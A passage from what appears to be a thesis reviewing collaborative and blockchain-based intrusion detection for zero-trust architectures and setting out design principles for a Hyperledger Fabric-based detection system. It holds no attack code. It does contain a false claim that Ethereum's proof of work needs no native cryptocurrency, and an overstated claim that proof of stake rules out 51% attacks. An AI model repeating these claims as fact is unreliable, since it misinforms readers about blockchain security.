transmitted to randomly selected GDs at predefined intervals through the ISS. Finally, the GDs 
provide global monitoring based on the analysis from data collected from LDs.  
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This approach could be adapted for the zero-trust context. If an APT had compromised an 
endpoint within a notional ZTA, or when the attacker had established a foothold on the 
network, performed data exfiltration from the endpoint, and stolen available credentials, this 
would be detected. However, detection would be relatively late since the data and credential 
exfiltration would have already taken place.  

 

2.4.1.2 Alert Correlation 
 

We categorise the DCIDSs based on the alert correlation approaches. These generally 
include the filter-based approach, the multi-stage approach, the similarity-based approach, 
and the attack scenario-based approach. In the first case, a prioritisation of alarms takes place 
based on the criticality of the protected system, while in the second case, the correlation of 
alerts is based on the causality of former and latter alarms. The third case is simply based on 
the similarities of alarm attributes. Finally, the attack scenario-based approach is based on 
predefined attack scenarios. 

 Dain and Cunningham [50], presented an algorithm that can combine the alerts produced 
by heterogeneous IDSs via a probabilistic approach. This approach uses three variations of 
Bayesian Networks (BNs) for effectively detecting network intrusions. Specifically, in the 
presented algorithm, the CIDS consists of multiple types of IDSs generating alerts, which are 
converted into an acceptable machine-readable format, and then stored in a standard 
Structured Query Language (SQL) database. The algorithm then reads the database, 
categorizes, and relates the alerts into attack scenarios. As soon as new alerts are generated 
in the IDSs and stored in the database, they are automatically checked against the constructed 
attack scenario(s).  

 Cuppens and Ortalo [51] introduced Language to Model a Database for Detection of 
Attacks (LAMBDA), an attack description language aiming to correlate alerts from various IDSs 
to CIDSs. LAMBDA can be used to specify the pre and post condition of a target system. 
Namely, what a system looks like before an attack scenario is launched, and how is it affected 
after a successful attack scenario.  As a result, a wide range of alerts are generated and 
processed by LAMBDA that eventually are correlated to draw an outcome regarding an 
ongoing attack scenario or not. During the specification, the overall attack scenario is 
considered, including all possible threat events and threat types applicable to the target 
system. In addition, the overall steps for detecting an attack, which might be different in each 
attack scenario, and the verification of an attack are also considered.  

 Cheung et al. [52] proposed Correlated Attack Modelling Language (CAML), a modelling 
language to detect various attack scenarios. Compared to LAMBDA, CAML is also based on 
the specification of the pre and post condition of the subject system, however, it allows lower-
level specification and therefore, lower levels of details are delivered to the IDS nodes. In 
addition, deep diving into the lower-level specifications provides CAML an advantage when it 
comes to accurate decision making regarding an ongoing attack. 

 Templeton and Levitt [53] proposed another attack specification language for DCIDSs, 
named JIGSAW. Like LAMBDA and CAML, their work is heavily based on pre and post 
conditions of an attack and the subject target system. A major differentiation with CAML and 
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LAMBDA, however, is that JIGSAW intends to describe specific attacks on the threat event-
type level, namely attacks, rather than attack scenarios.   

 

2.4.1.3 Alert Trustworthiness 
 

Within a distributed collaborative intrusion detection network, it is imperative to maintain 
trust between nodes, while also trust the alerts generated by participating nodes. As we 
mentioned previously, DCIDSs can be particularly effective if IDSs share intrusion-related 
information with each other; however, the validity and completeness of the information is 
crucial. In some cases, this is prevented either by compromised devices, or the lack of 
willingness, as in the case of different organisations to share. Intrusion Detection and Rapid 
Action (INDRA), a DCIDS approach based on Peer-to-Peer (P2P) infrastructure by Janakiraman 
et al. [54], proposed an authentication-based solution for alert messages. Specifically, 
message authentication, based on digital signatures, is used to provide a reasonable level of 
assurance that alerts are originating from a trusted node by using a central certification 
authority to authenticate a node’s credentials. However, this does not guarantee the 
completeness and correctness of the messages in the case of compromised nodes or benign 
nodes that may refuse to ‘provide’ complete information. Finally, regarding scalability, the 
central certification authority can be subject to bottleneck as the participating nodes increase. 

Chen and Yeager built upon the previous work and proposed the use of “Web of Trust” 
between participating nodes [55]. The concept is based on the reputation of the nodes, and 
so the collection, exchange, and evaluation of all information between participants are fully 
“transparent” to the nodes. Participating nodes can build, over time, a certain level of 
reputation among themselves, which is ultimately the essence of P2P trust relationships. This 
approach indeed amplifies the trust bonds required for the purpose of alert broadcasting, in 
case of an intrusion, and as such it seems promising. However, there is still a problem 
requiring further study. For example, if a peer takes the necessary time to build a high 
reputation among the IDS network, then it could potentially broadcast malicious or forged 
alerts.  

 

2.4.2 Blockchain Based Intrusion Detection 
 

Recently, blockchain has been widely investigated as an approach to achieve message 
integrity in a decentralised or distributed network environment. Blockchain can be either 
public or private depending on the group of authorised users. Blockchain is closely related to 
DLT that refers to a database where records of decentralised and transactional data are stored 
in a sequence (not necessarily grouped in blocks), in a continuous ledger spread through a 
network and across multiple locations. Blockchain can be considered as a DLT subset, in which 
batches of transactions are held in blocks, which in turn are linked with hash pointers in a 
chain [56]. In continuation, each block contains the hash of the previous block in the chain, 
and therefore, the integrity of each data set in the chain is preserved. 

In the following, we review how blockchain has been used to ensure or improve the 
integrity of shared alert messages and for enforcing trust in IDSs. We start by looking at 
blockchain types (permissioned vs. permissionless), the consensus mechanisms and finally the 
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related works in the literature for blockchain-enabled IDS. Note that blockchain has been 
investigated mainly in the context of CIDSs to achieve the integrity of the information shared 
among the IDSs. 

 
2.4.2.1 Blockchain Types 
 

By drawing an analogy between blockchains and databases, as Wüst et al. [57], we can 
refer to the blockchain participants as readers and validators, or appenders. A reader refers 
to a role or entity who can read, analyse, or audit the blockchain. A validator (appender) on 
the other hand, describes a role or entity that participates in the consensus protocol, collects 
transactions into a block and finally appends the block to the blockchain. Based on the roles 
of the participants, we can differentiate between permissionless and permissioned 
blockchains.   
 
2.4.2.1.1 Permissionless Blockchains 

 

In permissionless blockchains, the peers can leave or join the network at any moment, 
whether they possess the role of a reader or a validator. One of the most interesting parts of 
this setup is the elimination of a central entity that controls membership overall. Therefore, 
the written content onto such blockchains is readable by any peer at any given moment. As 
of today, however, there are implementations using cryptographic primitives that allow for a 
permissionless blockchain to hide privacy related information. For instance, the Zerocash 
[58], which acts as a privacy preserving version of Bitcoin. Two prevalent examples of 
permissionless blockchains include Bitcoin [59] and Ethereum [60]. 
 

2.4.2.1.2 Permissioned Blockchains 
 

In this setup, a central authority performs the decision making and relevant attribution to 
peers participating in the read or append roles within the blockchain. Most prevalent 
examples of permissioned blockchains now are Hyperledger Fabric [61] and R3 Corda [62]. 
This approach is leaning towards enterprise grade adoption, due to its inherent 
implementation of a central authority managing peers and their identities. Considering the 
overly sensitive and confidential use case of blockchain in cyber security and specifically in 
intrusion detection and prevention, it becomes evident that the permissioned blockchain 
implementation has better attributes than the permissionless. 

It is well-known that blockchains impose computation overhead and extra cost (due to the 
hash calculations and consensus protocol), and the security of private blockchains greatly 
depends on the number of the participants. While private blockchains have been 
implemented by businesses in different sectors such as banks, healthcare, and supply chains1, 
mainly to verify the integrity of contracts and secure access to health data, it is still important 
to see that there are some cases when blockchain is not a suitable solution. Specifically, in 
our case, we raise the following question:  

 

 
1 Forbes, Blockchain 50, https://www.forbes.com/sites/michaeldelcastillo/2020/02/19/blockchain-50/  (accessed March 2021) 
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Which conditions would make blockchains suitable for the intrusion detection context, and 
in general, cyber security related use cases?  

 
The “obvious” answer is when multiple entities lack trust in each other, while at the same 

time wanting to interact with a system and are not willing to agree on a trusted third party. 
To ease the decision process, Wüst et al. [57] provided a decision flowchart as shown in Figure 
15, to help determine whether blockchain addition would be the correct technical solution of 
a problem. Through a series of simple questions one can conclude if the addition of blockchain 
would have an added value, and if that is the case, what kind of blockchain would be most 
suitable (e.g., private, public, permissioned or permissionless). 

 

 
Figure 15 - Blockchain decision flowchart [56]. 

Wüst et al. [57] also provided a performance evaluation among permissioned, 
permissionless blockchains and a typical database. The results are summarised in Table 3 
below, which can help system designers or architects with decision making on blockchain 
implementations. 

 
Table 3 - Properties of permissionless-permissioned blockchains and central database. 

 Permissionless 
blockchain 

Permissioned 
blockchain 

Central 
Database 

Throughput Low High Very High 

Latency Slow Medium Fast 

Number of readers High High High 

Number of validators High Low High 
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Number of untrusted users High Low Zero 

Consensus mechanism Mainly PoW 
Some PoS 

BFT protocols None 

Centrally managed No Yes Yes 

 

In general, blockchain adds complexity, due to the use of consensus mechanisms. 
Therefore, using a central database or centralised systems enhance the performance in the 
sense of throughput and latency. On one hand, one can refer to Bitcoin, which is capable of 
handling 7 transactions per second and can extend up to 66 with no compromise in security. 
On the other hand, Visa International Service Association Inc. (VISA) an American 
multinational financial services corporation, which operates a highly centralized system that 
can manage throughput of approximately fifty thousand transactions. Conclusively, there is a 
trade-off between scaling and throughput. Specifically, for a blockchain enabled IDS, how well 
that system would scale to many validators with thousands of hashes as inputs (e.g., detection 
rules) versus how much throughput such a system would produce in a predefined amount of 
time. Such trade-offs should be considered when we try to incorporate blockchain elements 
into intrusion detection. 

 

2.4.2.2 Consensus Mechanisms 
 

Assuming a blockchain enabled IDS, where multiple nodes function as peers are spread 
throughout the network for monitoring, gathering and data correlation purposes, they must 
reach consensus somehow. There must be an effective, practical, dependable, efficient, 
continuous, and secure mechanism to guarantee that all events and alerts are received and 
sent and are real and unaltered while all peer members concur to the status of the ledger. 
That said, there are several consensus mechanisms providing such capabilities, each one with 
their different attributes [63].  
 
2.4.2.2.1 Proof of Work (PoW) 
 

This serves as the most popular consensus protocol and was first introduced in Bitcoin. 
PoW introduces the roles of the miners, those who are responsible to solve cryptographic 
puzzles while competing for a reward. However, PoW is probably not suitable for blockchain 
enabled IDS (within a private enterprise environment) as the concept of rewarded miners 
would introduce huge security gaps and trust loopholes in the system. 
 
2.4.2.2.2 Proof of Stake (PoS) 
 

In this case, there is no competition between the miners. Instead, PoS relies on the 
validators, who are pseudo-randomly selected to validate a block. In addition, it introduces 
the so-called stake tokens, where, to participate in this sequence, the validator enrols by 
staking some of his/her own tokens. Therefore, participants are rewarded based on the 
number of staked tokens. Considering the blockchain based IDS use case, such a mechanism 
would create a bottleneck as participants with a high number of tokens staked would 
automatically have better chances of being selected for validation, which in turn creates a 
security risk when we talk about events, rules, and alerts of an IDS.  
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2.4.2.2.3 Practical Byzantine Fault Tolerance (PBFT) 
 

In PBFT, a predefined group of individuals function as validators. Participants must reach 
consensus when a new event occurs while at the same time, they must verify that no data 
has been modified during the event transmission. If 2/3 of the participants reach consensus, 
then the decision is considered final.  

 

2.4.2.2.4 Proof of Burn (PoB) & Proof of Capacity (PoC) 
 

Like the above-mentioned mechanisms PoB and PoC are mining and reward-based 
mechanisms, which, as outlined above, have an inherent disadvantage when it comes to 
enterprise grade adoption for the use case of a blockchain enabled IDS, due to confidentiality 
and integrity reasons [63].   

     To summarise this section, a comparative evaluation of the most widely implemented 
consensus mechanisms can be found in Table 4. 
 

Table 4 - Consensus mechanisms comparative evaluation [62]. 

Consensus Mechanisms PoW PoS BFT 

Energy Consumption Requires high amount 
of energy 

Requires less energy 
consumption 

Requires less energy 
consumption 

Advanced Hardware 
Requirement 

Required Not Required Not Required 

Centralization Decentralized Partially Centralized Centralized 

Double Spending 
Attack 

Possible Difficult N/A 

Scalability Not Scalable Scalable Scalable 

Memory Requirement Significant due to 
public ledger 

Significant due to public 
ledger 

Less than PoW or PoS 

Security Attack with 51% is 
possible 

Attack with 51% not 
possible 

May have a single 
point of failure 

 
 
2.4.2.3 Related Works on Blockchain-Enabled IDSs 
 

A universal architecture that incorporates CIDS with permissioned blockchain has been 
described by Alexopoulos et al. [64], together with a design decisions analysis process 
required when implementing such architecture. In this architecture, a set of intrusion related 
alerts are defined as transactions within the blockchain. Then, using the consensus protocol, 
all collaborating IDS nodes can verify the validity of the transactions prior to conveying them 
into a block. Eventually, the stored set of alerts shall be tamperproof within the blockchain. 
However, neither implementation details nor practical results are provided in their paper, 
hence, the idea remains explicitly theoretical.  
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Similar work at a theoretical level was published by Meng et al. [65], where they studied 
data and trust management challenges on current IDS architectures. The authors delivered 
the first review corresponding to the intersection of intrusion detection systems and 
blockchain technology, while also outlining the prospective application of such collaboration. 
One of the key conclusions they made was that the blockchain technology can greatly assist 
in enhancing an intrusion detection system’s core tasks such as trust computation, exchange 
of alerts and data sharing. 

A step further in detecting adversaries via blockchain enabled cyber defence capabilities 
was addressed by Li et al. [66]. They specifically studied the integrity property in CIDS, by 
considering a highly likely scenario which we often encounter nowadays, namely, insider 
attacks such as a malicious node generating forged signatures and then sharing it throughout 
peers. If that scenario becomes a reality, intruders could potentially remain undetected, 
which would greatly affect the effectiveness of a CIDS. In addition, the authors used the 
blockchain technology to solve the subject issue in a verifiable manner and evaluated the 
results via a so-called Collaborative Blockchained Signature-Based Intrusion Detection System 
(CBSigIDS) development, a generic framework of CIDS based on blockchain. Figure 16  depicts 
a high-level overview of the proposed blockchain based CIDS framework. 

 

On the other hand, a more practical approach was proposed by Golomb et al. [67], namely, 
a Collaborative IoT Anomaly Detection (CIoTA) framework. This is a lightweight framework 
that leverages blockchain technology to accomplish collaborative and distributed anomaly 
detection. In this framework, blockchain is being used to incrementally feed an anomaly 
detection model and establish consensus among IoT devices. Eventually, the authors created 
their own distributed IoT simulation platform consisting of 48 Raspberry Pi’s to evaluate and 
demonstrate CIoTA’s ability to enhance security via blockchain. 

Conclusively, we can say that the previous works validate, mainly at the theoretical level, 
the potential of blockchain enhancing intrusion detection. There is, however, a practical 

Figure 16 - High level overview of blockchain based CIDN [62]. 
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demonstration of the above conclusion performed by Golomb et al. [67] with CIoTA, although 
its focus and scope are limited to IoT. Moreover, an IoT network is different from an 
enterprise network in the sense that it provides less control maturity compared to the current 
applicable control frameworks and standards. Besides the immense potential of using 
blockchains in intrusion detection (and prevention), there are probably other advantages that 
require further research. For instance, a blockchain enabled IDS can be a trusted source of 
logging, which in turn can further enhance and maximise trust in auditing.  

One of the core principles of ZTA, namely, “never trust but verify”, seems to match greatly 
with blockchains’ inherent attribution where every transaction must be validated, consensus 
must always be achieved, while ledger’s immutability seals integrity. 

 

2.4.3 The Intersection of ZTA and Blockchain-Based IDS 
 

In this section, we build upon the ZTA core principle of assuming breach to discuss how 
blockchain-based IDS can be employed. For this discussion, we use an example of a ZTA 
enabled notional bank network, where we assume that a single endpoint has been 
compromised via a spear phishing attack. As per our review, and the abovementioned 
assumption, the lateral movement is highly unlikely once ZTA is in full force [6], adhering to 
all principles and all mandated controls in place. However, the endpoint itself remains 
compromised, together with the already authenticated and authorised sessions of the subject 
user in the endpoint. Moreover, the adversaries can abuse the authenticated and authorised 
sessions of the user and extend their attack to the systems in reach of the subject user.  

Based on the review (see 2.4.1 Distributed Collaborative Intrusion Detection systems 
would be able to detect such attacks via a plethora of methodologies. Specifically, the attack 
scenario-based approach for alert correlation when used by DCIDS is an effective and efficient 
approach for adversary detection. A major shortcoming can be identified, however, with this 
approach. In the context of ZTA and APTs, (1) the adversaries characteristically use legitimate 
tools in a malicious manner, and (2) they also use advanced evasive techniques against the 
standard controls (e.g., signature based / heuristic-based anti-virus) Therefore, the attack 
scenarios can fluctuate greatly. Until the attack scenario-based approach eventually 
constructs the relevant and matching scenario, adversaries probably have already established 
a stealthy foothold into the network, deeming the detection process ineffective, again, in a 
ZTA context. In addition, the integrity of DCIDSs nodes is questionable as per the literature 
review in certain scenarios. Our assumption of an APT compromising an endpoint is subject 
to the same scenario since a determined adversary would likely try to influence the integrity 
of a node and/or tamper with logs and audit trails to render the attack invisible. 

Based on the review (see 2.4.2 Blockchain Based Intrusion Detection, greatly increases the 
integrity of the audit trail and log files, as well as the overall integrity of the information stored 
in the blocks themselves. Additionally, blockchain could potentially enhance the efficiency of 
intrusion detection by extending the immutability aspect of the context of each single 
identity. Specifically, zero trust security health checks can be used to create the so-called 
endpoint context. This context, then, could be further fortified by the distributed ledger 
technology to achieve integrity. ZTA, DCIDSs and blockchain technology seem to have a great 
intersection and many potential use cases. In fact, some use cases could even be extended 
beyond detection, to implement blockchain based prevention capabilities.   
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2.5 Summary and Discussion 
 
2.5.1 Challenges to the Integration of Blockchain and ZTA 
 

As we can see, ZTA and blockchain take a different approach on trust management, 
security, and architecture overall, in contrast to the traditional, perimeter-based approach. 
Table 5 shows the previously mentioned intersection elements in ZTA and blockchain, in 
contradiction to the traditional perimeter-based approach.  

 
Table 5 - ZTA & blockchain intersection elements. 

 Traditional Perimeter-
Based Architecture 

Zero Trust 
Architecture 

Blockchain 

Overall Approach Centralised Decentralised Decentralised 

Architectural focus Perimeter-Focused Borderless / 
Distributed 

Distributed 

Infrastructure trust level Trusted or semi-trusted in 
some cases 

Untrusted or trust 
but verify in some 
cases 

Untrusted 

 
In perimeter-based approaches, we have the element of centralisation, and the 

architectural focus is to protect the perimeter. This means that trusted data and assets are 
placed behind an extremely strict perimeter, assuming that anyone and anything inside that 
perimeter is trusted, either partially or fully, to access those resources. Ultimately, maximum 
effort is put into making sure that adversaries will not be able to get beyond that perimeter, 
while at the same time authorised and authenticated users can still access the data and 
resources behind it.  

This is vastly different from ZTA and blockchain based technologies, which both run in a 
borderless and decentralised manner. Since there is no perimeter on both ZTA and 
blockchain, security comes from efficient and effective management of trust. In fact, for 
blockchain, security comes from the incredible amount of repetition because every node is 
being asked to keep the same copy of the ledger and periodically reach majority consensus 
on what the proper data in that ledger should be. As such, the amount of work that an 
attacker would have to do is practically impossible if adversaries wanted to change, hack, or 
alter the ledger. That said, it seems that blockchain and ZTA can complement each other in 
various use cases, since both share at least some fundamental principles. 

Determined attackers, such as in case of APTs, with the necessary knowledge and 
resources have demonstrated their ability to compromise various endpoints with ease, and 
plant malware to establish footholds into corporate networks. The different ZTA deployment 
models (see 2.2.5 Zero Trust Models) and implementations (see 2.2.6.2 Real World ZTA 
Implementations) are great instruments in the hands of defenders, in their effort to prevent 
lateral movement. The result is a highly secure, trust less and borderless architecture with 
fine grained identity-based access controls always seeking to verify. However, the endpoints 
are still the Achilles heel of ZTA. Adversaries can potentially tamper with ZTA’s security health 
checks once an endpoint is compromised, therefore leveraging the already authenticated and 
authorised user’s session.  
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2.5.2 Future Directions 
 

Blockchain technology can enhance ZTA implementations in several use cases. As 
described in 2.4.3 The Intersection of ZTA and Blockchain-Based IDS, a blockchain-based 
intrusion detection system could help in amplifying the detection capability. At the same time, 
it is possible to fortify the backend storage of relevant logs and audit trails in the blockchain, 
providing immutability. Blockchain-based authentication could also be used to enhance 
remote working. For instance, a blockchain based layer could be added on top of an SDP to 
strengthen the endpoint's integrity. Enhancing the prevention capability with blockchain is of 
equal, if not more, interest. Combining a blockchain-based intrusion detection and prevention 
system would ultimately augment ZTA onto the endpoints, significantly enhancing the 
detection and prevention capabilities. 

However, issues such as performance, computing overhead and choosing the right 
implementation of blockchain remain the main questions to adopting this approach. These 
questions need further research to answer sufficiently.   

 
2.6 Conclusion 
 

In this chapter, we provided a state-of-the-art review on zero-trust and ZTAs, which are 
relevant and emerging research and development areas. Based on 53 papers in literature, we 
reviewed several aspects of the zero trust approaches and open questions. We discussed the 
main differences between traditional perimeter-based models and zero trust approaches. In 
addition, the core tenets and core capabilities of the zero-trust concept were presented, with 
different existing theoretical and real-world implementations of ZTAs.  

Thereafter, based on examples, we discussed the potential security problems with current 
ZTAs, and outlined some potential and promising approaches that can be used to tackle those 
problems. Specifically, one of the approaches we explored is the possibility of adapting DLT 
and blockchain to verify the integrity of the endpoints in a ZTA, which in turn answers our 
first research question (RQ1). Based on the state-of-the-art in this area, we concluded that 
DLTs and blockchain can play a critical part in augmenting one of the core tenets of zero trust 
architectures, namely, the assumed breach mindset. However, their implementation requires 
thoughtful consideration due to computation overhead and the potential trade-offs between 
security and usability.  
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Chapter 3: Design Phase – Design Principles & Core 
Concepts 
 
3.1 Introduction 

 
Several future research directions were identified during the analysis phase. Among them, 

a blockchain enabled intrusion detection, and possibly prevention system that would 
augment ZTA on endpoints by building and extending upon the core ZTA tenet, viz., the 
assume breach mindset. Briefly, by adopting the assume breach mindset, the users and their 
endpoints should be considered as compromised.  

The pandemic and COVID-19, alongside the cloud technologies emergence, provided for 
a new reality where the majority of corporate endpoint fleet resides anywhere in the world, 
so does the corporate data and services. ZTA strips trust out of identities, endpoints, data, 
processes, and transactions within a corporate network in a primary effort to stop lateral 
movement once the corporate network has been breached, or assumed breach, and foothold 
has been established [68].  

Considering the potential research directions highlighted during analysis phase in 
conjunction with the answer for (RQ1): Are there common attributes between ZTA, DLTs and 
blockchain? during the same phase, we believe a blockchain enabled intrusion detection and 
prevention system (BIDPS) should be able to detect and prevent in many cases subject to 
further research and evaluation, adversaries trying to compromise or already have 
compromised an endpoint. This provokes new research questions: 
 

• (RQ2) How can we solve the highlighted Achilles Heel of ZTA? Namely, will the 
proposed BIDPS detect and prevent attacks against endpoints prior the 10th stage of 
MITRE’s ATT&CK threat knowledge base, thus proving effectiveness? 

• (RQ3) How can we augment ZTA on endpoints using DLTs and blockchain?  
 

3.2 Design Principles 
 

In section 2.4.2 Blockchain Based Intrusion Detection, we performed research on the basic 
characteristics of blockchains, DLTs, and reviewed the relevant works. The outcome is four 
key design principles based on extensive research by scholars, industry best practices, and 
considerations in the design of blockchain-based systems, including intrusion detection and 
prevention systems. The input from the analysis phase is also clear when it comes to designing 
the BIDPS, it is therefore imperative to adhere to the following design principles and rationale:  
 
1. Permissioned & private blockchain: 

Cachin et al. [74] introduced permissioned blockchains, which restrict participation to 
a predetermined set of nodes with known identities. They discussed the applications of 
permissioned blockchains, such as supply chain management, healthcare, and financial 
systems. Chapter 8 of their book covers the key features, benefits, and challenges 
associated with permissioned blockchains, including security considerations for 
enterprise grade systems that run on public and permissionless blockchains, as opposed 
to private and permissioned.  



 57 

Androulaki et al. [75] presented Hyperledger Fabric, an open source blockchain 
platform designed for permissioned networks. They provided insights into the 
architecture, consensus mechanisms, and privacy features of Hyperledger Fabric. The 
paper also discusses the use cases of Hyperledger Fabric in industries such as finance, 
supply chain, and healthcare, highlighting its capabilities in enabling secure and efficient 
business networks. 

Singh et al. [76] conduct a comprehensive survey on blockchain consensus protocols, 
including those used in permissioned blockchains. They categorize and compare different 
consensus mechanisms, such as Practical Byzantine Fault Tolerance (PBFT), Raft, and 
Proof of Authority (PoA). The survey explores their characteristics, performance, 
scalability, and fault tolerance, providing a comprehensive understanding of consensus 
protocols being suitable for permissioned blockchains according to business need. The 
privacy, security and regulatory risks of a public and permissionless blockchain network 
was also highlight in a similar manner in the work of Litoriya et al. [77], They stress om 
the importance of a private and permissioned setup specifically for the financial services 
sector as being highly regulated, after conducting and extensive survey on the adoption 
of blockchain technology, studying the obstacles but also the opportunities.  

Irrefutably, a permissioned and private blockchain provides a controlled environment 
for the BIDPS, ensuring the privacy and confidentiality of corporate data. A permissioned 
blockchain framework allows organizations to define access controls and restrict 
participation to known entities. This enables enterprises to control who can join the 
network, verify transactions, and access sensitive information. By implementing 
permissioned access, organizations can ensure that only trusted participants with the 
necessary authorization can contribute to the IDPS, reducing the risk of malicious actors 
infiltrating the network. 

 
2. Consensus protocol must not require a native cryptocurrency:  

Bano et al. [78] provided an overview of consensus mechanisms in the age of 
blockchains. They discussed various protocols, including Proof of Work (PoW), Proof of 
Stake (PoS), PBFT, and Delegated Proof of Stake (DPoS), examining their strengths and 
weaknesses. The paper explores consensus properties, such as safety, liveness, 
decentralization, and scalability, without assuming a dependency on native 
cryptocurrencies specifically designed for private sector.  
Castro and Liskov [79] propose Practical Byzantine Fault Tolerance (PBFT), a consensus 
protocol that tolerates arbitrary faults in distributed systems. PBFT is widely regarded as 
a foundational algorithm for Byzantine fault tolerance and has influenced the design of 
subsequent consensus algorithms.  

Kevin Werbach in his work named “Trust but verify” elaborates on why blockchains 
must be on the right side of the law while abiding by the local rules, laws, and regulations. 
Specifically, avoiding the use of a native cryptocurrency in every business use case, to 
disincentivize the user from potentially becoming malicious insider [80].  

Buterin et al. [81] presented Ethereum, a decentralized platform for executing smart 
contracts. They introduce the Ethereum Virtual Machine (EVM) and its execution model. 
The paper emphasizes Ethereum's use of PoW as the consensus mechanism, which does 
not require a native cryptocurrency but instead relies on computational puzzles to secure 
the network and validate transactions, thus enabling business cases without relying on a 
user incentivization model.  
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It is therefore evident that the consensus protocol must not require a native 
cryptocurrency to reduce risk and attack vectors. Opting for a consensus protocol that 
does not require a native cryptocurrency mitigates risks and potential attack vectors 
associated with managing and securing a cryptocurrency ecosystem. For instance, the 
Practical Byzantine Fault Tolerance (PBFT) consensus algorithm which is widely used in 
permissioned blockchains. PBFT ensures Byzantine fault tolerance by requiring a two-
thirds majority agreement among network participants. This consensus mechanism 
eliminates the need for resource-intensive mining processes and reduces the risk of 51% 
attacks that can compromise the integrity of the blockchain. By avoiding native 
cryptocurrencies, the focus can be on the security and performance of the BIDPS rather 
than managing complex economic systems. 

 
3. Smart contracts must be authored in general-purpose programming languages:  

Peter Hegedus [82] analyzed the complexity of Ethereum smart contracts developed 
on Solidity and focused on the EVM bytecode and its inherent challenges. They propose 
metrics to quantify contract complexity, including bytecode size, control flow complexity, 
and data access complexity. The study sheds light on the potential risks and 
vulnerabilities associated with complex smart contracts and therefore suggest the switch 
to general-purpose programming language to boost adoption in the first place.  

Kuswaha et al. [83] investigated the security of Solidity, the programming language 
used for developing smart contracts on Ethereum. They analysed vulnerabilities, 
compiler bugs, and unsafe code patterns, identifying potential security risks and 
suggesting best practices for writing secure contracts. The paper provides insights into 
common pitfalls and potential attack vectors in Solidity programming language. This is 
due to the inherent complexity of a new programming language and technology. The use 
of general-purpose programming languages is advised by the authors to avoid both 
potential security gaps, but also to enable a broad audience of developers to participate 
into the expansion and development of blockchain ecosystems where the use case 
demands so.  

Androulaki et al. [75] present the Chaincode Development Guidelines for Hyperledger 
Fabric, focusing on smart contract development in the context of permissioned 
blockchains. The guidelines cover best practices for authoring chaincode (smart 
contracts) using general-purpose programming languages, such as JavaScript, Golang, 
and Node.js. They provide recommendations on code organization, security, and 
performance optimizations, making it easier for enterprises to develop robust and secure 
smart contracts. Such guidelines provide the foundation for blockchain adoption in the 
enterprise world. 

Decisively, enabling smart contract development in widely adopted general-purpose 
programming languages offers numerous benefits for the BIDPS. For example, the use of 
JavaScript, Golang, or Node.js allows organizations to leverage existing developer 
expertise and well-established programming ecosystems. Support of chaincode (smart 
contract) development in various languages, including JavaScript and Golang, is an 
excellent example. With a broader pool of developers proficient in these languages, 
organizations can accelerate smart contract development and leverage existing libraries 
and frameworks. This reduces the barrier to entry and facilitates collaboration, ultimately 
leading to faster and more robust smart contract implementations for the BIDPS. This 
ultimately means that most enterprises will already have the required expertise to 
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develop smart contracts without specific training, as opposed to, for instance, Solidity 
used by Ethereum. 

 
4. Open-source, enterprise-grade performance, and scalability: 

Luu et al. [84] proposed a secure sharding protocol for open blockchains, addressing 
the scalability challenge by dividing the network into smaller partitions called shards. 
They present a comprehensive analysis of sharding techniques and discuss their benefits 
and limitations. The paper provides insights into the design considerations and security 
guarantees of sharding protocols.  

Pandey et al. [85] investigated the performance and scalability of blockchain 
consensus protocols in real-world applications. They evaluated various protocols, 
including PBFT, PoW, and PoS, based on parameters such as transaction throughput, 
latency, and network overhead. The study provides a comparative analysis of consensus 
algorithms, enabling a better understanding of their performance characteristics when it 
comes to enterprise use. The authors conclude that scalability is a necessity. Namely, the 
platform must be able to handle more transactions and more nodes with either native or 
custom optimizations, for successful enterprise adoption.  

Gervais et al. [86] focused on the scalability of blockchains and propose optimizations 
to improve performance. They address issues related to transaction processing and 
validation, suggesting techniques like parallelization, pruning, and compression. The 
paper provides insights into the practical challenges of achieving enterprise-grade 
performance in blockchain systems. The authors also provide relevant guidance in 
achieving enterprise grade performance and discuss several platform performance 
related characteristics.  

Conclusively, choosing an open-source blockchain platform with enterprise-grade 
performance and scalability is vital for an effective BIDPS. An open source blockchain 
platform, provides a rich ecosystem of tools and resources for building enterprise 
applications. Organizations can leverage the extensive developer community, 
documentation, and well-tested infrastructure components to build a performant BIDPS. 
Additionally, the platform must be known for their scalability, and must be capable of 
handling thousands of transactions per second, making them suitable for enterprise-
grade applications. Scientific research backing or evaluation capability or benchmarking 
adds credibility and ensures that the chosen platform has undergone rigorous testing and 
evaluation, giving organizations confidence in its performance and scalability.  

 
Although the industry provides already a plethora of solutions, they are primarily targeting 

use cases that do not serve the corporate world. However, there are solutions built for the 
private sector by design, as seen in Figure 17. According to Blockdata [69] Hyperledger fabric 
is the most used blockchain technology amongst the top 100 institutions and holds the 
greatest adoption by far. Moreover, compared to the next two available solutions Quorum 
and Corda, Hyperledger Fabric (HPLF) is still open source, therefore HPLF [70] satisfies all the 
above design principles and was chosen as the selected platform. 
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Figure 17 - Top 10 technologies used by the top 100 institutions [68]. 

3.3 Core Concepts  
 

Hyperledger Fabric offers substantial confidentiality, integrity, resiliency, scalability, and 
flexibility. This is achieved through a modular architecture which underpins the overall 
distributed ledger solution utilized by the Hyperledger Fabric platform.  
 
3.3.1 Blockchain and DLT 
 

In the context of a private permissioned blockchain, every authorized entity involved in 
a transaction is enabled to know with certainty “what” and “when” happened. In addition, 
they can confirm that all participating entities receive the same output without the need for 
an intermediary to provide assurance, and without the need for subsequent data 
reconciliation. The two terms, “blockchain” and “DLT” are often used interchangeably and to 
understand blockchain, it is imperative to understand DLT, the framework that underpins it.  

DLT is a decentralized database managed by multiple participants, across multiple nodes. 
Blockchain is a type of DLT, where transactions are recorded with an immutable cryptographic 
signature called a hash. All transactions are gradually arranged into blocks where every block 
contains the hash of the previous block, and as such they are chained together. Therefore, 
distributed ledgers are usually called blockchains. 

Blockchains are distributed by design and bounded to be collaborative due to the 
consensus mechanism but also due to the ledger’s replication across many participants. 
Moreover, they are also inherently immutable because of the information recorded on-chain 
is append-only. This is accomplished by applying cryptographic techniques, which in turn they 
provide guarantees on transactions committed to the ledger cannot be modified in any way. 
For this reason, participants are always assured that information has not been altered after 
the fact, and therefore blockchains are often referred to as “systems of proof” [71]. 
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3.3.2 Permissioned versus Permissionless Blockchains 
 

Permissionless blockchains are governed by two core principles. First, all participants are 
anonymous. Second, anyone can virtually participate. Therefore, trust cannot exist in such 
case besides the inherent immutability provided by the blockchain itself. This trust deficiency 
in permissionless blockchains is mitigated using “mined” native cryptocurrencies or introduce 
transaction fees as a financial incentive to counterbalance the enormous costs of participating 
in a proof of work (PoW) based consensus mechanism, such as bitcoin. 

In permissioned blockchains on the contrary, the participants are known, identified, and 
